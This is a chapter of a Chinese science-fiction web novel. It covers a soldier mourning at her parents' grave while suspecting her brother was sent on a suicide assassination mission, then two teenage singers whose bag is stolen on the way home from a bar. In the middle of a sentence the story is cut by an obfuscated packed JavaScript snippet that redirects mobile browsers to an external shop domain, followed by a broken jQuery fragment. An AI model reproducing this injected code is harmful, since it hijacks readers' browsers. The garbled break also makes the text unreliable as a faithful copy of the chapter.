25.紫色风信子
    莫妮卡记不太清小时候的事情了。

    她半跪在墓碑前,戴着皮质半指手套的纤长手指,轻轻掸了掸墓碑上的浮尘。

    望着照片中父母模糊的笑脸,也许是死亡气息的包围,让她恍惚间忆起了一件事。

    那美人鱼灰人少年在死前,趁无人注意,紧紧抓住她的手,声音嘶哑地附耳呢喃——

    “执行官……执行官派给阿尔法哥哥的任务……是让他去送死——去刺杀地上人总统——”

    莫妮卡瞳孔瞬间紧缩,一时间竟然没能反应过来这句话背后包含的深意。

    可惜,灰人少年没说完就死去了。

    他不甘的瞳孔瞪大着,死气笼罩,一滴泪水从眼角流入发间。

    只有莫妮卡听到了他死前的呢喃,她心脏狂跳不已,肾上腺素悄然飙升。

    执行官要哥哥去刺杀总统?

    这是什么意思——!?

    地底人虽然一直敌视地上人,但四百年来,二者之间的差距越来越大,尽管依然有人叫嚣着要夺回地上世界,但大部分人已经没了力量折腾,任由仇恨疯长个三十年,再随尘世的躯壳归于尘土。

    执行官此举,是要再次挑起战争吗?

    当年的任务背后,难道还有她不知道的隐情!?

    莫妮卡知道这件事仅仅是宣之于口,都显得惊世骇俗,因此没有透露给任何人。

    只有在此时,被墓碑包围的墓园深处,当晚风如父母温厚手掌拂过她的脸颊时,那些苟藏在心底的迷茫和混乱才透过紧窄心门,悄悄漏出一线。

    她紧紧攥住右拳,按于左心口,做了个虔诚的宣誓动作,半跪着看向父母墓碑,用低不可闻的音量承诺:

    “我一定会找到哥哥死亡的原因,请你们安息。”

    直到垂下头来,她才在墓碑旁边看到滚落在泥土中的一束紫色风信子。

    团簇的风信子色泽淡雅,可能是被风吹落,滚了一层尘土。

    她盯着那束代表着“悲伤”和“歉意”的花束,神色晦暗。

    不久后,莫妮卡离开了墓园,原地只留下了一束被作战靴踩踏成泥的紫色风信子。

    花瓣零落,碾入墓土,染上脏污。

    ……

    整九点,莫妮卡和秦为倾都返回了奈落小队休息室。

    拉尔窝在自己的房间里,像是怕被指挥官逮到机会薅掉终端一般,说什么也不愿意出来。

    莫妮卡走进休息室,在门口“welcome to the hell”(欢迎来到地狱)字样的地毯上擦去鞋底泥土时,看到的就是指挥官站在拉尔房间门口,看似正在被“罚站”。

    里面的大爷坚决不肯开门。

    一整天都不见人影的秦为倾,不知道神神秘秘做什么去了,此时手里拎着个款式复古——不客气点说,俗气的编织袋,透过门口的对讲机,向着里面的大爷宣读“投降开国”喊话:

    “疗养院来的东西,我帮你签收了,你不看看么?”

    拉尔的声音几乎是立刻没好气地从对讲机里闷闷传出:

    “不收!”

    秦为倾作势要打开编织袋:“那就让我看看里面有什么——”

    “哗啦”一声,自动门轰然洞开,拉尔黑着脸,劈手夺过,将编织袋护在怀里,灰蓝色眼睛显得有些冰冷:“侵犯隐私,再警告一次,指挥官小姐。”

    秦为倾见他收下了,眼疾手快地伸腿卡住即将闭合的自动门:

    “聊聊。”

    话音刚落,视线就瞥到走进来的莫妮卡。

    莫妮卡停顿片刻,和秦为倾对视一眼,微微颔首,转身走进自己的卧室休息去了。

    按照惯例,晚九点入睡,她已经迟了五分钟。

    拉尔也是。

    拉尔看了眼终端时间,恶劣地扬起嘴角:

    “指挥官小姐,你规定的九点入睡时间到了。”

    秦为倾没理会他,点了点自动门的设置界面:

    “把我的开门权限加上。”

    拉尔和她对峙片刻,最终败在了秦为倾春风化雨般的和煦微笑中。

    他不是觉得这个微笑有多打动人心,实际上,他有些怵她。

    怎么会有人一边微笑,一边把别人摁在沙发上压住脖子,下一秒好像就要把人的喉咙压断?

    就连莫妮卡也不会这样残暴。

    从认识到现在,莫妮卡对他时不时的挑衅胡闹,一直持无视态度。

    拉尔飞速运转的大脑花了一秒钟分了个神,确认莫妮卡这个白发冰山,好像确实是全队唯一一个没有揍过他的三好队友。

    秦为倾凑过去确认他真的录入了自己的编号,低头时,右耳的浅蓝色耳钉反着光,微微晃了一下拉尔的眼。

    他瞥过去,愣了片刻,好像想起了什么,但懒得追问,只飞快录入了秦为倾的指挥官编号后,就堵在门口下了逐客令:

    “我要睡觉了。”

    他舌尖轻抵牙床,把“睡觉”二字咬了重音。

    秦为倾在他有所防备的躲闪中,依然快准狠地卸了他的终端,在对方敢怒不敢言的目光中,扬起浅淡治愈的笑容:

    “晚安,技术官拉尔。”

    拉尔深重黑眼圈的下方,唇色极淡,皮笑肉不笑地扯了扯唇:

    “晚安。”

    ……

    第二日,深潜继续,但只剩下莫妮卡一人在努力。

    秦为倾去军医院照顾病人,拉尔则在自己的窝里开发骨骼识别系统。

    深潜中,第三区。

    新歌挂上U网的第一日,点赞破千。

    爱丽丝趴在紫色圆床上滚来滚去,尖锐爆鸣:

    “啊啊啊,有好多粉丝说喜欢我们的歌!我们要火了,派翠西亚!今天一天有十几条评论呢!”

    派翠西亚没有听到。

    她在低头伏案写谱,金色发丝柔顺地垂落肩头,脑袋上扣着个毛茸茸的粉色绒毛耳罩,隔绝了噪音,也挡住了左耳的残缺。

    耳罩上刻着“Z.F”的logo,是价值上万新元的奢侈品——

    爱丽丝送给派翠西亚的、庆祝组合成立的礼物。

    S9组合的隐隐蹿红,说明了一件事:

    才华是藏不住的,即使它被深埋第三区这片被抛弃的贫民窟,躲躲藏藏了十六年,但,实际上,它在等的,只有那一阵东风,直上云霄,好叫这片天空之下的所有人都能看到。

    无论贫富贵贱,无论种族地域,音乐都是共通的。

    歌词听不懂还有旋律,旋律参不透还有情感。

    派翠西亚搞定了旋律,爱丽丝搞定了情感。

    她们头挨着头,一个字一个字地修改后,也搞定了歌词。

    第一首歌的诞生,就是在这个气氛奇怪的小旅馆房间里。

    良好的隔音效果造就了天然的录歌棚。

    爱丽丝抱着新买的吉他,吉他护板上贴着肥啾吉祥物可爱贴,左脚轻快地打着节拍,边弹边唱道:

    “紫苏,香草和蜂蜜酒,芭乐,黑李和葡萄柚,邀我心上人,携手共游……”

    这是一首试水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165160|138524||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之作,也是派翠西亚存稿里质量中上的一篇。

    收获的成绩已然不俗。

    观众打赏了一百新元,这是她们靠自己赚到的第一桶金。

    两名女孩拿去买了小蛋糕,爱丽丝甚至还提议去买酒。

    派翠西亚瞪圆了眼睛:

    “你十六岁,我也十六岁,可是法律规定二十岁才能饮酒!”

    爱丽丝挤挤眼睛:“这里是第三区,可没有十六岁的小孩子。”

    派翠西亚看了看对方的相貌,又想了想自己的相貌,坚定摇头。

    第三区没有十六岁的女孩子不假,可瞎子也不是到处都是。

    架不住爱丽丝软磨硬泡,终于让她陪着走进酒吧。

    那正是她们相遇的ocean酒吧,吧台里的调酒师,一身西装马甲松松垮垮,百无聊赖地擦着桌子,整个人的气质和招牌霓虹灯一样半死不活,掀起眼皮看到对方,露出狐疑神色。

    爱丽丝强作镇定,大摇大摆走到吧台前,和派翠西亚头挨着头,小声嘀咕了片刻后,老道熟练地点单:

    “一杯玛格丽特,一杯莫吉托。”

    调酒师懒散道:“先付账。”

    爱丽丝豪气地掏出自己的小挎包,掏出钞票拍在了吧台上:

    “够了吗?”

    今日打赏获得101.5新元,消费468新元。

    净亏366.5新元。

    爱丽丝还是觉得很值。

    酒吧里零零散散坐着三五个客人,在她往吧台上拍钞票的时候,视线就若有似无地聚了过来。

    可惜两名少女都涉世未深,将那些目光解读成羡慕或者好奇。

    好在她们还不是完全的白痴,知道两个女孩子在酒吧喝醉不太合适——没人架她们回去。

    于是两小时后,一人留了一半醉意,互相搀扶着,晃出酒吧往旅馆走去。

    缤纷霓虹灯已经熄灭大半,小巷阴森,暗藏凶险。

    她们深一脚浅一脚地走在晚归路上,只听身后传来急速靠近的脚步声。

    爱丽丝的大脑首先一激灵,第一反应是抓她的人又来了!

    毕竟她在网上PO出了自己唱歌的视频,虽然不知道哥哥用了什么办法,但对方确实定位到了她!

    爱丽丝下意识推开派翠西亚,刚要回神,就感觉身上一痛,挎包被人扯落,再抬头时,只看见一个奔逃的黑影,即将消失在夜色中。

    “喂!”爱丽丝气极,拔腿要去追,被派翠西亚拦住了。

    派翠西亚努力晃了晃脑袋,大着舌头道:

    “我们……喝醉了,危险。先回去。”

    爱丽丝叫道:“那是我全部的零花钱!”

    派翠西亚虽然不怎么出门,但她也是看了许多关于第三区治安混乱,抢劫案由于失主的死缠烂打,恶化成杀人案的例子……

    她谨慎地拉紧了天不怕地不怕的爱丽丝。

    爱丽丝的酒醒了大半,想破口大骂,但她高贵的教养并没有教会她,在街头被抢钱包时,要如何骂人。

    最终,两个女孩只能醉醺醺地带着沮丧,脚步沉重地返回了小旅馆。

    好在,提前交了一个月的租金。

    抢了挎包的男人在五百米开外,停下脚步,恭敬地将挎包双手奉上,递到一辆黑色流线型豪车窗边。

    窗户打开,一只保养得宜、指甲修剪整齐的男人手掌伸了出来,将挎包攥入手中。

    夜色中,一双狐狸眼反射着零碎霓虹灯,细碎陆离的光。

    “爱丽丝……”